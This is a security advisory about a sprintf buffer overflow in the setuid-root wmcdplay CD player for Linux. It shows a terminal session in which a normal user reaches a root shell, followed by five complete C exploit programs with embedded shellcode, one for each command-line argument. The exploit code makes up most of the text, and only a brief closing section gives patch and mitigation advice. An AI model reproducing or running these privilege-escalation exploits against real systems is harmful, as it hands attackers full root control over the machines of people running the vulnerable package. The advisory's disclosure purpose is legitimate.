COMMAND
wmcdplay
SYSTEMS AFFECTED
Any system which has wmcdplay installed as setuid root
PROBLEM
Following is based on TESO Security Advisory. A vulnerability
within the wmcdplay CD playing application for the WindowMaker
desktop has been discovered. It allows local root compromise
through arbitrary code execution.
Affected are any system which has wmcdplay installed as setuid
root. Though on most popular system distributions wmcdplay is
not installed by default, the optional installation of it is
always setuid root, hence affected by the problem. Please note
that wmcdplay doesn't require WindowMaker as its desktop, so even
if you haven't installed WindowMaker you may be vulnerable. Among
the vulnerable distributions (if the package is installed) are the
following systems:
Debian/GNU Linux 2.1, wmcdplay 1.0beta1-2
Halloween Linux Version 4
Tests:
liane:[bletchley]> id -a
uid=501(bletchley) gid=501(bletchley) groups=501(bletchley)
liane:[bletchley]> cd wmhack/
liane:[wmhack]> uname -a
Linux liane.c-skills.de 2.2.13-13 #21 Thu Mar 2 10:36:13 WET 2000 i686 unknown
liane:[wmhack]> stat `which wmcdplay`
File: "/usr/X11R6/bin/wmcdplay"
Size: 38372 Filetype: Regular File
Mode: (4755/-rwsr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
Device: 3,1 Inode: 213954 Links: 1
Access: Sat Mar 4 14:21:43 2000(00004.20:34:20)
Modify: Thu Nov 11 09:59:00 1999(00119.00:57:03)
Change: Fri Mar 3 15:31:42 2000(00005.19:24:21)
liane:[wmhack]> cc wmexp.c
liane:[wmhack]> ./a.out
You can also add an offset to the command-line. 40 worked for me on the console.
Get the real deal at http://www.cs.uni-potsdam.de/homepages/students/linuxer
Respect other users privacy!
wmcdplay : Tried to find artwork file, but failed.
Segmentation fault
liane:[wmhack]> ./a.out 40
Get the real deal at http://www.cs.uni-potsdam.de/homepages/students/linuxer
Respect other users privacy!
wmcdplay : Tried to find artwork file, but failed.
Illegal instruction
liane:[wmhack]> ./a.out 140
Get the real deal at http://www.cs.uni-potsdam.de/homepages/students/linuxer
Respect other users privacy!
wmcdplay : Tried to find artwork file, but failed.
sh-2.03# id -a
uid=0(root) gid=501(bletchley) groups=501(bletchley)
sh-2.03#
Through exploitation of the buffer overflow within wmcdplay a
local user can elevate his privileges to the superuser level.
Once this is archived the attacker has complete access to the
system, allowing compromitation of all data stored on it.
Due to inaccurate bounds-checking a sprintf() call with
commandline arguments, it can be used to overflow a stack-located
buffer. By setting proper values and avoiding zero-bytes an
attacker can execute arbitrary code.
The bug-discovery and the demonstration programs are due to S.
Krahmer. The shell-code is due to Stealth. For exploit, go to:
http://teso.scene.at/
http://www.cs.uni-potsdam.de/homepages/students/linuxer/
Larry Cashdollar added following. These are some more exploits
for the wmcdplay originaly advisory above. Larry wrote the
exploits for most of the arguments wmcdplay accepts:
1 -f artwork_file load the specified artwork file
2 -l led_color use the specified color for led displays
3 -b back_color use the specified color for backgrounds
4 -d cd_device use specified device (rather than /dev/cdrom)
5 -position position set window position (see X manual pages)
1. Overflows at buffersize 256.
2. Overflows at buffersize 534.
3. Overflows at buffersize 786. hmmm.
4. Overflows at buffersize 786. hmmm.
5. Overflows at buffersize 1300.
<------------------------ back_color exploit -------------->
/*Overflows the -b arg (back_color) buffer in wmcdplay due to a bad sprintf
*call. This seems to be how most of the command line arguments are called.
*Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
*$:> gcc wmcdplay-bexp.c -o wmb ;./wmb <offset>
*offset 400 worked for me on Mandrake 7.0
*Credit: TESO Crew http://teso.scene.at/ for finding the original hole.
*/
#include <stdio.h>
#include <stdlib.h>
#define NOP 0x90 /*no operation skip to next instruction. */
#define LEN 786 /*our buffersize. */
char shellcode[] = /*execve with setreuid(0,0) and no '/' hellkit v1.1 */
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
"\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
"\xc2\x91";
/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
__asm__ ("mov %esp, %eax");
}
int
main (int argc, char *argv[])
{
char buffer[LEN];
int i;
long retaddr = get_sp ();
/*Fill the buffer with our new address to jump to esp + offset */
for (i = 0; i < LEN; i += 4)
*(long *) &buffer[i] = retaddr + atoi (argv[1]);
/*copy the NOPs in to the buffer leaving space for shellcode and pointers*/
printf ("Jumping to address %x BufSize %d\n", retaddr + atoi (argv[1]), LEN);
for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
*(buffer + i) = NOP;
/*copy the shell code into the buffer*/
memcpy (buffer + i, shellcode, strlen (shellcode));
execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-b", buffer, 0);
}
<------------------------ back_color exploit -------------->
<------------------------ cd_device exploit --------------->
/*Overflows the -d arg (cd device) buffer in wmcdplay due to a bad
*sprintf call.
*This seems to be how most of the command line arguments are called.
*Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
*$:> gcc wmcdplay-bexp.c -o wmb ;./wmb <offset>
*offset 400 worked for me on Mandrake 7.0
*Credit: TESO Crew http://teso.scene.at/ for finding the original -d hole.
*/
#include <stdio.h>
#include <stdlib.h>
#define NOP 0x90 /*no operation skip to next instruction. */
#define LEN 1045 /*our buffersize. */
char shellcode[] = /*generic shellcode with out '/' ie not mine */
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x68\x80\x36\x01\x46\xe2\xfa"
"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xbb\x11"
"\x01\x01\x8c\xba\x2b\xee\xfe\xfe\x30\xd3\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c"
"\xf9\xb9\x16\x01\x01\x01\x88\xd7\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
"\x01\x01\x88\xff\x52\x88\xf2\xcc\x81\x5a\x5f\x5e\x88\xed\x5c\xc2\0x91\0x91\0x91";
/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
__asm__ ("mov %esp, %eax");
}
int
main (int argc, char *argv[])
{
char buffer[LEN];
int i;
long retaddr = get_sp ();
/*Fill the buffer with our new address to jump to esp + offset */
for (i = 0; i < LEN; i += 4)
*(long *) &buffer[i] = retaddr + atoi (argv[1]);
/*copy the NOPs in to the buffer leaving space for shellcode and pointers*/
printf ("Jumping to address %x, BufSize %d\n", retaddr + atoi (argv[1]), LEN);
for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
*(buffer + i) = NOP;
/*copy the shell code into the buffer*/
memcpy (buffer + i, shellcode, strlen (shellcode));
execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-d",
buffer, 0);
}
<------------------------ cd_device exploit --------------->
<------------------------ art_file exploit ---------------->
/*Overflows the -f arg (artfile) buffer in wmcdplay due to a bad
*sprintf call.
*This seems to be how most of the command line arguments are called.
*Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
*$:> gcc wmcdplay-fexp.c -o wmf ;./wmf <offset>
*offset 400 worked for me on Mandrake 7.0
*Credit: TESO Crew http://teso.scene.at/ for finding the original hole.
*/
#include <stdio.h>
#include <stdlib.h>
#define NOP 0x90 /*no operation skip to next instruction. */
#define LEN 256 /*our buffersize. */
char shellcode[] = /*execve with setreuid(0,0) and no '/' hellkit v1.1 */
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
"\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
"\xc2\x91";
/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
__asm__ ("mov %esp, %eax");
}
int
main (int argc, char *argv[])
{
char buffer[LEN];
int i;
long retaddr = get_sp ();
/*Fill the buffer with our new address to jump to esp + offset */
for (i = 0; i < LEN; i += 4)
*(long *) &buffer[i] = retaddr + atoi (argv[1]);
/*copy the NOPs in to the buffer leaving space for shellcode and pointers*/
printf ("Jumping to address %x BufSize %d\n", retaddr + atoi (argv[1]), LEN);
for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
*(buffer + i) = NOP;
/*copy the shell code into the buffer*/
memcpy (buffer + i, shellcode, strlen (shellcode));
execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-f", buffer, 0);
}
<------------------------ cd_device exploit -------------->
<------------------- led_color exploit-------------------->
/*Overflows the -l arg (led_color) buffer in wmcdplay due to a bad
*sprintf call.
*This seems to be how most of the command line arguments are called.
*Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
*$:> gcc wmcdplay-lexp.c -o wml ;./wml <offset>
*offset 390 worked for me on Mandrake 7.0
*Credit: TESO Crew http://teso.scene.at/ for finding the original -d hole.
*/
#include <stdio.h>
#include <stdlib.h>
#define NOP 0x90 /*no operation skip to next instruction. */
#define LEN 534 /*our buffersize. */
char shellcode[] = /*execve with setreuid(0,0) and no '/' hellkit v1.1 */
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
"\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
"\xc2\x91";
/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
__asm__ ("mov %esp, %eax");
}
int
main (int argc, char *argv[])
{
char buffer[LEN];
int i;
long retaddr = get_sp ();
/*Fill the buffer with our new address to jump to esp + offset */
for (i = 0; i < LEN; i += 4)
*(long *) &buffer[i] = retaddr + atoi (argv[1]);
/*copy the NOPs in to the buffer leaving space for shellcode and pointers*/
printf ("Jumping to address %x BufSize %d\n", retaddr + atoi (argv[1]), LEN);
for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
*(buffer + i) = NOP;
/*copy the shell code into the buffer*/
memcpy (buffer + i, shellcode, strlen (shellcode));
execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-l", buffer, 0);
}
<------------------------ led_color exploit--------------->
<------------------------ position exploit --------------->
/*Overflows the -position arg (position) buffer in wmcdplay due to a
*bad sprintf call.
*This seems to be how most of the command line arguments are called.
*Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
*$:> gcc wmcdplay-bexp.c -o wmb ;./wmb <offset>
*offset 400 worked for me on Mandrake 7.0
*Credit: TESO Crew http://teso.scene.at/ for finding the original -d hole.
*/
#include <stdio.h>
#include <stdlib.h>
#define NOP 0x90 /*no operation skip to next instruction. */
#define LEN 1300 /*our buffersize. */
char shellcode[] = /*execve with setreuid(0,0) and no '/' hellkit v1.1 */
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
"\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
"\xc2\x91";
/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
__asm__ ("mov %esp, %eax");
}
int
main (int argc, char *argv[])
{
char buffer[LEN];
int i;
long retaddr = get_sp ();
/*Fill the buffer with our new address to jump to esp + offset */
for (i = 0; i < LEN; i += 4)
*(long *) &buffer[i] = retaddr + atoi (argv[1]);
/*copy the NOPs in to the buffer leaving space for shellcode and pointers*/
printf ("Jumping to address %x BufSize %d\n", retaddr + atoi (argv[1]), LEN);
for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
*(buffer + i) = NOP;
/*copy the shell code into the buffer*/
memcpy (buffer + i, shellcode, strlen (shellcode));
execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-position", buffer, 0);
}
<-------------------- position exploit ------------------->
SOLUTION
The author and the distributor has been informed before. A patch
is already available. Short-timed just remove the suid-bit; it
is not necessary.
FreeBSD does not install this port setuid, so it is not
vulnerable. Unlike what original advisory implies Debian does not
ship wmcdplay setuid root.